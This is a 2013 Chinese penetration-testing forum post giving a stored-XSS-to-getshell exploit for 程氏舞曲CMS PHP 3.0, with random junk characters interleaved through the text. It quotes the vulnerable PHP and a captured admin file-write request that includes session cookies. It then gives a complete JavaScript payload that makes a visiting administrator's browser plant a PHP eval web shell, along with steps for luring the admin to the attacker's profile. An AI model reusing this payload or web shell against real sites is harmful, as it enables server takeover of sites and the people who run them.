中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]

作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
' C/ `% B8 I. a官网已经修补了,所以重新下了源码, i: T; g) A5 C$ h3 y
因为 后台登入 还需要认证码 所以 注入就没看了。
  `2 ^" e( [! c; f5 b7 G) ~存在 xss3 Q- D6 E8 ~9 b% |4 _
漏洞文件 user/member/skin_edit.php
4 n/ e* x7 Y+ v- y本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
$ ^0 I# B0 @+ p% a0 ^+ W  6 ?2 M! v8 r/ ^3 S+ D
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
! Z" e9 R- u" Q  w  
- T5 W. a, @" w9 x  P9 p' w% d</textarea></td></tr>
9 Y2 p9 J% m: T, ~6 ]7 K  
" Q5 W; @% |2 b* S5 r             user/do.php
4 J* z3 {8 R: [3 c
* d( r$ a+ F& N: {
' n8 G0 e9 c0 n3 m4 y* Zif($op=='zl'){ //资料/ M- H' Z: v: p" Y$ {) s0 C
  3 i3 |  Y& B0 ~% p
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) " ]0 f  e2 q' A; Z
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));: u/ U9 s& H: Y+ x+ n
  
: g3 B1 r  M; @             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
4 f5 S( T$ u' m2 F% W  
: C- |$ [" c; a             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'! j) S9 u# ~6 E( \) \
             where CS_Name='".$cscms_name."'";
9 w$ K' `9 D' t, |' C. i; U5 I. a0 a  # H) v: X$ A" j1 e; s# {/ @
             if($db->query($sql)){
" ~) M( _2 D; R3 w3 K  - I& f# b5 y3 U
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
5 \% D& p2 s9 P6 ~. S  % G2 @( s& r+ {/ x- o
             }else{
. S! V' r3 [3 t  
/ V" f2 x9 F7 e* N# n8 T, m              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
; M1 k- z! Z. b9 k) m8 g/ q  
3 `" e# i. a: a' g' u8 s: y2 B1 H             }4 O; p" q  }9 @& H

  {& H* ~# y% s/ r
) B) d, T- s8 P* h4 \6 _没有 过滤导致xss产生。
- ?; I# h, G* m# R& V# K: j后台 看了下 很奇葩的是可以写任意格式文件。。
2 f0 A8 W4 S' n- f5 ?" [抓包。。+ l2 I: W; e/ K) k% D

  |4 \' g/ m4 V0 ]& t
% e8 l2 x5 a$ K7 r8 ]本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
( V' @1 b+ m) }( V& x( t  $ m* C# M2 \2 {* I+ c( G7 ]) s
Accept: text/html, application/xhtml+xml, */*
" X0 z) p. D+ l; E  
5 I+ `) M: U& {8 z+ X$ wReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
1 ]1 N: ~) Q$ b* }  
7 d1 }; j% _) N! j- v$ eAccept-Language: zh-CN
1 O9 o& n& n" K) y6 {. _4 t  
" [% n2 r2 C8 a. G/ [; T, r0 uUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
: ^$ U$ s# w+ o# L  k8 `  ) A+ z- `- t& S$ T2 O. r" h  O
Content-Type: application/x-www-form-urlencoded
8 h" R8 `! r4 G  {% _7 y: ]  / N6 t8 Z- M' J, g0 W3 }0 J( ~
Accept-Encoding: gzip, deflate, z2 c( o+ k) w+ D# O
  : w- {0 d8 P( L' c
Host: 127.0.0.1
3 v" X+ j$ C2 x/ J" p  
4 A& _; I# x/ R9 I) uContent-Length: 38
/ W# W. i+ w; G4 S* g% a  
6 w5 ~8 |) W* `& x* eDNT: 1
+ h8 r1 i6 l! r6 R* q; W  
) T' A  l- i7 A4 n/ i( t9 R0 ~Connection: Keep-Alive
8 {1 {1 `5 R$ N0 {* n! j: K  & B* {# q* c' C
Cache-Control: no-cache/ q( o) ~* a. ]8 i/ {7 |2 }' I
  
% ]) X) C: H3 A7 L. p1 f  nCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
8 a  ~7 j2 [" Z- g8 G) K5 v2 w  
4 U3 p. K5 m; g, h9 S
/ \) z8 p8 |2 A( l1 G! f! R5 zname=aaa.php&content=%3Cs%3E%3Ca%25%3E
' k- x/ E5 ^4 g, i1 b3 D+ X# i& D, r' j8 c8 m' p2 r7 ]  c

+ T. R9 L4 S1 g
! [/ R1 Y, |  U5 c- c; [- w  a于是 构造js如下。
$ {. l  [0 |1 j, E. U) J! B/ ^/ g" o$ H3 D3 e/ k% B; [
本帖隐藏的内容<script>
9 G2 _  j- E7 t, V4 CthisTHost = top.location.hostname;
/ b% u# \* A+ _' X9 B( c+ O4 [  
, `! T- D' X* [. D; ]6 l/ O, c7 ~* hthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";( l- S- Q5 Q- _, ?; H% {
  7 X9 `  P* v# T
function PostSubmit(url, data, msg) { 8 W/ X. [+ N! @% W0 m
    var postUrl = url;* ^# O" J! z. J" S9 G# L, t
  5 q3 [: A& g0 F5 j
    var postData = data;
9 t' |1 \4 R- [% ]' f    var msgData = msg;
3 y. `0 D. A/ B$ g; _; d5 l    var ExportForm = document.createElement("FORM"); 9 u4 x$ y, s8 q- C" U/ v
    document.body.appendChild(ExportForm);
1 A# M2 K1 b/ M  K, f1 W& [    ExportForm.method = "POST";
0 a. i) D8 t8 i: h& j3 A2 M# S    var newElement = document.createElement("input"); * i* I; U* |" G; v# M4 ~1 [
    newElement.setAttribute("name", "name"); ; ?  I# X  U4 R" B( L) }
    newElement.setAttribute("type", "hidden");
5 W+ X, {7 x0 N4 T    var newElement2 = document.createElement("input");
4 b% w% `0 ^7 r4 V9 x    newElement2.setAttribute("name", "content"); 7 A! f) h1 }5 c
    newElement2.setAttribute("type", "hidden"); 5 P3 U$ H7 A6 z( w% {0 a/ S
    ExportForm.appendChild(newElement);
; T6 a' _, d7 B4 j2 U- ?- Y1 k    ExportForm.appendChild(newElement2); ( k6 H2 Z! }/ n  ^7 ]  ^
    newElement.value = postData; + N0 P4 R( h: N8 t7 F
    newElement2.value = msgData;
! ~/ D' P8 o) y1 {6 d) d( B4 c    ExportForm.action = postUrl;
. Q' `6 a: w5 q* T( I" A    ExportForm.submit(); . H% n: @& N4 q! S+ N5 s4 H
};
# M* w  d) \) c0 d, c: V7 d$ r  # g( ^5 N" |0 ]' C( B
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");1 a1 r, v1 D7 _( d/ W
  
) W, M0 a% P9 y; Q! V3 J9 q. E</script>8 v  Z% b+ Q+ P5 z( [' b
6 J# P' M: ]  t% b
) ^* a: Q4 \6 x$ q: k
8 {1 i* |# B0 J1 z, D
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
; t9 F% o3 i, R6 y用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)/ I9 T6 J2 f# O
就会 在 skins\index\html\目录下生成 roker.php 一句话。
( E5 D* w4 l; ]





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2